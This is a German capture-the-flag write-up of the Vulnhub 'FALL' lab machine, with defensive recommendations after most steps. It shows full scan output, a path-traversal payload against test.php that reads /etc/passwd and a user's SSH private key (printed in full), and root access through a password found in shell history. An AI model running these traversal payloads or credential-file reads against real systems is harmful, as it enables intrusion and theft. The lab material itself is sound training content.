digitalworld.local FALL - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
enum4linux
wfuzz
vi
curl
mysql
ssh
find
file
cat
ls

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Aufklärung (Reconnaissance), um Informationen über das Zielsystem zu sammeln. Dies ist ein entscheidender Schritt, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.135 08:00:27:2c:3b:26 PCS Systemtechnik GmbH

Der Befehl arp-scan -l führt eine ARP-Anfrage im lokalen Netzwerk aus. Wir erhalten die IP-Adresse (192.168.2.135) und die MAC-Adresse (08:00:27:2c:3b:26) des Zielsystems. Die Information "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.

**Empfehlung:** Das Filtern von ARP-Anfragen kann das Aufspüren von Geräten im Netzwerk erschweren.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.135 fall.vln

Der Befehl vi /etc/hosts fügt eine Zuordnung der IP-Adresse 192.168.2.135 zum Hostnamen "fall.vln" in der /etc/hosts-Datei hinzu. Dies ermöglicht es uns, den Hostnamen anstelle der IP-Adresse zu verwenden.

**Empfehlung:** Verwenden Sie DNS-Server für die Namensauflösung, um eine zentralisierte Verwaltung der Hostnamen zu ermöglichen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.135 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-26 23:24 CET
Nmap scan report for fall.vln (192.168.2.135)
Host is up (0.00014s latency).
Not shown: 65253 filtered tcp ports (no-response), 269 filtered tcp ports (host-prohibited)
PRT STATE SERVICE VERSIN
22/tcp open ssh OpenSSH 7.8 (protocol 2.0)
| ssh-hostkey:
| 2048 c5:86:f9:64:27:a4:38:5b:8a:11:f9:44:4b:2a:ff:65 (RSA)
| 256 e1:00:0b:cc:59:21:69:6c:1a:c1:77:22:39:5a:35:4f (ECDSA)
|_ 256 1d:4e:14:6d:20:f4:56:da:65:83:6f:7d:33:9d:f0:ed (ED25519)
80/tcp open http Apache httpd 2.4.39 ((Fedora) penSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.39 (Fedora) penSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
|_http-title: Good Tech Inc's Fall Sales - Home
111/tcp closed rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
443/tcp open ssl/http Apache httpd 2.4.39 ((Fedora) penSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
| tls-alpn:
|_ http/1.1
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2019-08-15T03:51:33
|_Not valid after: 2020-08-19T05:31:33
|_http-title: Good Tech Inc's Fall Sales - Home
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.39 (Fedora) penSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
| http-robots.txt: 1 disallowed entry
|_/
445/tcp open netbios-ssn Samba smbd 4.8.10 (workgroup: SAMBA)
3306/tcp open mysql MySQL (unauthorized)
8000/tcp closed http-alt
8080/tcp closed http-proxy
8443/tcp closed https-alt
9090/tcp open http Cockpit web service 162 - 188
| http-title: Loading...
|_Requested resource was https://fall.vln:9090/
10080/tcp closed amanda
10443/tcp closed cirrossp
MAC Address: 08:00:27:2C:3B:26 (Oracle VirtualBox virtual NIC)
Aggressive S guesses: Linux 5.0 - 5.4 (98%), Linux 4.15 - 5.8 (94%), Linux 5.0 - 5.5 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (93%), Linux 5.1 (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 - 4.11 (91%), Linux 5.0 (91%), Linux 5.4 (90%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FALL; S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h40m05s, deviation: 4h37m09s, median: 4s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| S: Windows 6.1 (Samba 4.8.10)
| Computer name: fall
| NetBIS computer name: FALL\x00
| Domain name: speedport.ip
|_ System time: 2023-11-26T14:32:59-08:00
| smb2-time:
| date: 2023-11-26T22:33:01
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

TRACERUTE
HP RTT ADDRESS
1 0.14 ms fall.vln (192.168.2.135)

Der Befehl nmap -sS -sV -A -T5 192.168.2.135 -p- führt einen umfassenden Portscan auf dem Zielsystem durch und versucht, die Versionen der laufenden Dienste zu identifizieren. Wir stellen fest:

  • Port 22 (SSH): OpenSSH 7.8
  • Port 80 (HTTP): Apache httpd 2.4.39 ((Fedora))
  • Port 139/445 (netbios-ssn): Samba smbd 4.8.10
  • Port 3306 (mysql): MySQL (unauthorized)
  • Port 443 (ssl/http): Apache httpd 2.4.39 ((Fedora))
  • Port 9090 (http): Cockpit web service 162 - 188
Besonders interessant sind die offenen Samba Ports (139/445), die auf eine potentielle SMB-Schwachstelle hindeuten. Die MySQL Instanz ist "unauthorized", das bedeutet wir können uns nicht ohne weiteres verbinden. Der Cockpit Web Service auf Port 9090 ist ebenfalls interessant.

**Empfehlung:** Beschränken Sie den Zugriff auf unnötige Ports, um die Angriffsfläche zu verringern. Patchen Sie Samba auf die neueste Version, um bekannte Sicherheitslücken zu schließen.

Web Enumeration

Nach der grundlegenden Aufklärung konzentrieren wir uns auf die Webanwendungen, die auf dem Zielsystem laufen. Wir nutzen verschiedene Tools, um versteckte Dateien und Verzeichnisse zu finden und die Angriffsfläche zu vergrößern.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.135
- Nikto v2.5.0

+ Target IP: 192.168.2.135
+ Target Hostname: 192.168.2.135
+ Target Port: 80
+ Start Time: 2023-11-26 23:24:53 (GMT1)

+ Server: Apache/2.4.39 (Fedora) penSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
+ /: Retrieved x-powered-by header: PHP/7.2.18.
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie CMSSESSID19a99af5f4a4 created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.39 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ Perl/v5.26.3 appears to be outdated (current is at least v5.32.1).
+ mod_perl/2.0.10 appears to be outdated (current is at least 2.0.11).
+ penSSL/1.1.0i-fips appears to be outdated (current is at least 3.0.7). penSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ /lib/: This might be interesting.
+ /tmp/: Directory indexing found.
+ /tmp/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /admin/login.php: Admin login page/section found.
+ /test.php: This might be interesting.
+ 9715 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2023-11-26 23:25:42 (GMT1) (49 seconds)

+ 1 host(s) tested

nikto -h 192.168.2.135 ist ein Tool, das Webserver auf bekannte Schwachstellen untersucht. Nikto identifiziert mehrere interessante Punkte:

  • PHP Version
  • Fehlende X-Frame-ptions und X-Content-Type-ptions Header (Sicherheitslücken)
  • Fehlendes httponly Flag für Cookies
  • robots.txt Datei vorhanden
  • Veraltete Apache, Perl, mod_perl und penSSL Versionen
  • HTTP TRACE Methode aktiv (XST Anfälligkeit)
  • config.php könnte sensible Informationen enthalten
  • Vorhandensein von "/doc/", "/lib/", "/tmp/", "/icons/", "/admin/login.php" und "/test.php" (Informationspreisgabe)

**Empfehlung:** Konfigurieren Sie die fehlenden Sicherheitsheader, setzen Sie das httponly Flag für Cookies, aktualisieren Sie die Apache, Perl, mod_perl und penSSL Versionen und deaktivieren Sie die HTTP TRACE Methode. Beschränken Sie den Zugriff auf sensible Dateien und Verzeichnisse.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://fall.vln" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://fall.vln/index.php (Status: 200) [Size: 8223]
http://fall.vln/modules (Status: 301) [Size: 232] [--> http://fall.vln/modules/]
http://fall.vln/uploads (Status: 301) [Size: 232] [--> http://fall.vln/uploads/]
http://fall.vln/doc (Status: 301) [Size: 228] [--> http://fall.vln/doc/]
http://fall.vln/admin (Status: 301) [Size: 230] [--> http://fall.vln/admin/]
http://fall.vln/assets (Status: 301) [Size: 231] [--> http://fall.vln/assets/]
http://fall.vln/test.php (Status: 200) [Size: 80]
http://fall.vln/lib (Status: 301) [Size: 228] [--> http://fall.vln/lib/]
http://fall.vln/config.php (Status: 200) [Size: 0]
http://fall.vln/robots.txt (Status: 200) [Size: 79]
http://fall.vln/error.html (Status: 200) [Size: 80]
http://fall.vln/tmp (Status: 301) [Size: 228] [--> http://fall.vln/tmp/]
http://fall.vln/missing.html (Status: 200) [Size: 168]
http://fall.vln/phpinfo.php (Status: 200) [Size: 17]

gobuster dir -u "http://fall.vln" ... verwendet eine Wordlist, um versteckte Verzeichnisse auf dem Webserver zu finden. Interessante Ergebnisse sind:

  • /index.php
  • /modules, /uploads, /doc, /admin, /assets, /lib, /tmp (deuten auf ein CMS hin)
  • /test.php (könnte eine Testdatei mit Schwachstellen sein)
  • /config.php (könnte Konfigurationsdaten enthalten)
  • /robots.txt
  • /error.html, /missing.html
  • /phpinfo.php (enthält PHP-Konfigurationsinformationen)

**Empfehlung:** Überprüfen Sie die Konfiguration des Webservers, um sicherzustellen, dass keine sensiblen Verzeichnisse öffentlich zugänglich sind. Entfernen Sie die Datei /phpinfo.php.

fall.vln/robots.txt

# Group 1
User-agent: Googlebot
Allow: /

# Group 2:
User-agent: *
Disallow: /

Die robots.txt Datei lässt für alle Bots den Zugriff auf den gesamten Webserver nicht zu.

Page not found! Please contact our infrastructure
head at patrick@goodtech.inc if you think this is
in error!

© Copyright 2004-2023 - CMS Made Simple
This site is powered by CMS Made Simple version 2.2.15

Hinweis auf CMS Made Simple 2.2.15

Initial Access

In diesem Abschnitt versuchen wir, einen ersten Zugang zum System zu erlangen. Wir analysieren die gesammelten Informationen, um mögliche Schwachstellen zu identifizieren und auszunutzen.

durch testen und probieren file rausgefunden als parameter für lfi
http://fall.vln/test.php?file=../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel verflow User:/:/sbin/nologin
systemd-coredump:x:999:996:systemd Core Dumper:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:995:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
cockpit-ws:x:997:993:User for cockpit-ws:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38/etc/ntp:/sbin/nologin
abrt:x:173:173/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:996:991/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72/:/sbin/nologin
qiu:x:1000:1000:qiu:/home/qiu:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:995:990:Nginx web server:/var/lib/nginx:/sbin/nologin
tss:x:59:59:Account used by the tpm2-abrmd package to sandbox the tpm2-abrmd daemon:/dev/null:/sbin/nologin
clevis:x:994:989:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false

Durch das Testen der Webseite wurde ein Local File Inclusion (LFI) in der Datei test.php gefunden. Durch den Parameter "file" können beliebige Dateien ausgelesen werden. Die /etc/passwd Datei wurde erfolgreich ausgelesen. Der Benutzer "qiu" ist ein valider Benutzer.

**Empfehlung:** Validieren Sie die Eingabe des Benutzers, bevor Sie sie an Dateizugriffsfunktionen übergeben. Implementieren Sie eine Whitelist für erlaubte Dateien.

┌──(root㉿cyber)-[~]
└─# enum4linux -a 192.168.2.135
Sharename Type Comment
- -
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.8.10)
Server Comment
-

Workgroup Master
-
SAMBA FALL

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\qiu (Local User)

enum4linux -a 192.168.2.135 listet SMB Shares und Benutzer auf. Der Benutzer "qiu" wird bestätigt.

┌──(root㉿cyber)-[~]
└─# curl http://fall.vln/test.php?file=../../../etc/passwd| grep bash
root:x:0:0:root:/root:/bin/bash
qiu:x:1000:1000:qiu:/home/qiu:/bin/bash

Der Befehl curl http://fall.vln/test.php?file=../../../etc/passwd| grep bash liest die /etc/passwd Datei aus und filtert nach Einträgen mit "/bin/bash". So wird bestätigt, dass "root" und "qiu" Bash als Shell verwenden.

┌──(root㉿cyber)-[~]
└─# mysql -h fall.vln -u qiu
ERRR 1130 (HY000): Host 'PC192-168-2-199' is not allowed to connect to this MySQL server

Der Versuch, sich als Benutzer "qiu" mit MySQL zu verbinden, schlägt fehl. Der Fehler "Host 'PC192-168-2-199' is not allowed to connect to this MySQL server" deutet darauf hin, dass der Zugriff für den Client (unser System) nicht erlaubt ist.

**Empfehlung:** Beschränken Sie den Zugriff auf die MySQL-Datenbank auf autorisierte Hosts.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://fall.vln/test.php?FUZZ=../../../../../../etc/passwd" --hc 404 --hh 80
Target: http://fall.vln/test.php?FUZZ=../../../../../../etc/passwd
ID Response Lines Word Chars Payload
000000759: 200 32 L 67 W 1633 Ch "file"

Es wird versucht, weitere Parameter für die LFI Schwachstelle zu finden, mit dem Ziel die /etc/passwd auszulesen.

view-source:http://fall.vln/test.php?file=/home/qiu/.ssh/id_rsa
--BEGIN PENSSH PRIVATE KEY--
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAvNjhFSeDHy9K5vnHSs3qTjWNehAPzT0sD3beBPVvYKQJt0AkD0
FDcWTSSF13NhbjCQm5fnzR8td4sjJMYiAl+vAKboHne0njGkBwdy5PgmcXyeZTECIGkggX
61kImUIqtLMcjF5ti+09RGiWeSmfIDtTCjj/+uQlokUMtdc4Nv4XGJbp7GdEWBZevien
qXoXtG6j7gUgtXX1Fxlx3FPhxE3lxw/AfZ9ib21JGlyy8cflTlogrZPoICCXIV/kxGK0d
Zucw8rGGMc6Jv7npeQS1IXU9VnP3LWlGFU0j+IS5SiNksRfdQ4mCN9SYhAm9mAKcZW8wS
vXuDjWLEwAAA9AS5tRmEubUZgAAAAdzc2gtcnNhAAABAQC82E4U5J4MfL0rm+cdKzep
NY16EA/NPSwPdt4E9W9gpAm3QCQPQUNxZNJIXXc2FuMJCbl+fNHy13iyMkxiICX68Apuge
d7SeMaQHB3Lk+CZxfJ5lMQIgaSCBfrWQiZQ4iq0sxyMXm2L7T1EaJZ5KZ8g1MKP/65CW
iRQy11zg06/hcYlunsZ0RYFl6+J6epehe0bqPuBSC1dfUXGXHcU+HETeXHD8B9n2JvbUka
U7LLxx+VWiCtk+ggIJchX+TEYrR1m5zDysYYxzom/uel5BLUhdT1Wc/ctaU4YVTSP4hLl
KI2SxF91DiYI31JiECb2YApxlbzBK9e4NY4sTAAAAAwEAAQAAAQArXIEaNdZD0vQ+Sm9G
NWQcGzA4jgph96uLkNM/X2nYRdZEz2zrt45TtfJg9CnnNo8AhhYuI8sNxkLiWAhRwUy9zs
qYE7rohAPs7ukC1CsFeBUbqcmU4pPibUERes6lyXFHKlBpH7BnEz6/BY9RuaGG5B2DikbB
8t/CD79q7ccfTZs+gVRX4PW641+cZxo5/gL3GcdJwDY4ggPwbU/m8sYsyN1NWJ8NH00d
X8THaQAEXA6TTzPMLgwJi+0kj1UTg+D+nNfh7xeXLseST0m1p+e9C/8rseZsSJSxoXKk
CmDy69aModcpW+ZXl9NcjEwrMvJPLLKjhIUcIhNjf4ABAAAAgEr3ZKUuJquBNFPhEUgUic
ivHoZH6U82VyEY2Bz24qevcVz2IcAXLBLIp+f1oiwYUVMIuWQDw6LSon8S72kk7VWiDrWz
lHjRfpUwWdzdWSMY6PI7EpGVVs0qmRC/TTqIH+FXA66cFx3X4uCjkzT0/Es0uNyZ07qQ
58cGE8cKrLAAAAgQDlPajDRVfDWgWJj+imXfpGsmo81UDaYXwklzw4VM2SfIHIAFZPaA0
acm4/icKGPlnYWsvZCksvlUck+ti+J2RS2Mq9jmKB0AVZisFazj8qIde3SPPwtR7gBR329
JW3Db+KISMRIvdpJv+eiKQLg/epbSdwXZi0DJoB0a15FsIAQAAAIEA0uQl0d0p3NxCyT/+
Q6N+llf9TB5+VNjinaGu4DY6qVrSHmhkceHtXxG6h9upRtKw5BvlSbTatlfMZYUtlZ1mL
RWCU8D7v1Qn7qMflx4bldYgV8lf18sb6g/uztWJuLpFe3Ue/MLgeJ+2TiAw9yYoPVySNK8
uhSHa0dvveoJ8xMAAAAZcWl1QGxvY2FsaG9zdC5sb2NhbGRvbWFpbmgEC
--END PENSSH PRIVATE KEY--

Durch die LFI Schwachstelle konnte die Private Key ausgelesen werden

Privilege Escalation

┌──(root㉿cyber)-[~]
└─# vi id_rsa
┌──(root㉿cyber)-[~]
└─# chmod 600 id_rsa
┌──(root㉿cyber)-[~]
└─# ssh qiu@fall.vln -i id_rsa
The authenticity of host 'fall.vln (192.168.2.135)' can't be established.
ED25519 key fingerprint is SHA256:EKK1u2kbhexzA1ZV6xNgdbmDeKiF8lfhmk+8sHl47DY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fall.vln' (ED25519) to the list of known hosts.
Web console: https://FALL:9090/ or https://192.168.2.135:9090/

Last login: Sun Sep 5 19:28:51 2021
[qiu@FALL ~]$

Die SSH Verbindung mit dem Private Key ist erfolgreich.

[qiu@FALL ~]$ id
uid=1000(qiu) gid=1000(qiu) Gruppen=1000(qiu),10(wheel)
[qiu@FALL ~]$ ll
insgesamt 8
-rw-r--r-- 1 qiu qiu 27 21. Mai 2021 local.txt
-rw-rw-r-- 1 qiu qiu 38 21. Mai 2021 reminder
[qiu@FALL ~]$ cat local.txt
A low privilege shell! :-)
[qiu@FALL ~]$ file reminder
reminder: ASCII text
[qiu@FALL ~]$ cat reminder
reminder: delete the SSH private key!

Reminder den Private Key zu löschen.

[qiu@FALL ~]$ ls ..
qiu
[qiu@FALL ~]$ find / -type f -perm -4000 -ls 2>/dev/null
1233553 40 -rwsr-xr-x 1 root root 36872 Apr 4 2019 /usr/bin/fusermount
1196 80 -rwsr-xr-x 1 root root 81656 Nov 8 2018 /usr/bin/chage
288472 92 -rwsr-xr-x 1 root root 92712 Nov 8 2018 /usr/bin/gpasswd
288507 48 -rwsr-xr-x 1 root root 48752 Nov 8 2018 /usr/bin/newgrp
635723 48 -rwsr-xr-x 1 root root 46128 Jul 16 2018 /usr/bin/su
635708 52 -rwsr-xr-x 1 root root 50152 Jul 16 2018 /usr/bin/mount
635727 36 -rwsr-xr-x 1 root root 33016 Jul 16 2018 /usr/bin/umount
25543 64 -rwsr-xr-x 1 root root 63616 Jan 17 2019 /usr/bin/ksu
769420 28 -rwsr-xr-x 1 root root 28128 Mär 22 2019 /usr/bin/pkexec
700465 32 -rwsr-xr-x 1 root root 29008 Apr 12 2018 /usr/bin/passwd
790084 60 -rwsr-xr-x 1 root root 59752 Feb 6 2018 /usr/bin/crontab
1330903 56 -rwsr-xr-x 1 root root 55440 Feb 25 2018 /usr/bin/at
1233563 32 -rws--x--x 1 root root 30256 Jul 16 2018 /usr/bin/chfn
1233564 28 -rws--x--x 1 root root 25696 Jul 16 2018 /usr/bin/chsh
1331653 156 s--x--x 1 root root 157944 Jun 29 2018 /usr/bin/sudo
17053026 12 -rwsr-xr-x 1 root root 11696 Dez 20 2018 /usr/sbin/pam_timestamp_check
17053028 40 -rwsr-xr-x 1 root root 37928 Dez 20 2018 /usr/sbin/unix_chkpwd
16884674 44 -rws--x--x 1 root root 41400 Aug 7 2018 /usr/sbin/userhelper
17160976 12 -rwsr-xr-x 1 root root 10728 Mai 25 2018 /usr/sbin/usernetctl
17170136 132 -rwsr-xr-x 1 root root 131832 kt 27 2018 /usr/sbin/mount.nfs
17498313 28 -rwsr-xr-x 1 root root 28280 Aug 27 2017 /usr/sbin/mtr-packet
1418420 16 -rwsr-xr-x 1 root root 16224 Mär 22 2019 /usr/lib/polkit-1/polkit-agent-helper-1
17160865 64 -rwsr-x 1 root dbus 62656 Aug 8 2018 /usr/libexec/dbus-1/dbus-daemon-launch-helper
612086 44 -rwsr-x 1 root cockpit-ws 42016 Nov 28 2018 /usr/libexec/cockpit-session
952461 16 -rwsr-sr-x 1 abrt abrt 15816 Mai 31 2018 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach Dateien mit dem SUID-Bit gesetzt. SUID-Binaries können potenziell ausgenutzt werden, um Privilegien zu erhöhen. In diesem Fall ist pkexec ein interessanter Kandidat.

cat .bash_history
rm .bash_history
echo "remarkablyawesomE" | sudo -S dnf update
ifconfig
ping www.google.com
ps -aux
ps -ef | grep apache
env
env > env.txt
rm env.txt
lsof -i tcp:445
lsof -i tcp:80
ps -ef
lsof -p 1930
lsof -p 2160
rm .bash_history
exit
ls -al
cat .bash_history
exit

.bash_history des Nutzers qiu wird ausgegeben, sudo passwort versuch mit "remarkablyawesomE" war fehlgeschlagen.

bash-4.4$ su root
Passwort:
bash: Kann die Prozessgruppe des Terminals nicht setzen (1978).: Inappropriate ioctl for device
bash: Keine Job Steuerung in dieser Shell.
[root@FALL qiu]# id
[root@FALL qiu]# id
uid=0(root) gid=0(root) Gruppen=0(root)

SU Root war erfolgreich.

[root@FALL qiu]# cd ~
[root@FALL ~]# ls
total 28
drwx------ 5 root root 4096 ct 24 2018 .
drwxr-xr-x 23 root root 4096 Jun 29 21:04 ..
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 3 root root 4096 ct 21 2018 .cache
drwxr-xr-x 3 root root 4096 ct 21 2018 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 ct 21 2018 .ssh
[root@FALL ~]# cat proof.txt
[root@FALL ~]# ls
anaconda-ks.cfg original-ks.cfg proof.txt remarks.txt
[root@FALL ~]# cat proof.txt
Congrats on a root shell! :-)

Root Flag wurde gefunden.

Flags

cat root.txt Congrats on a root shell! :-)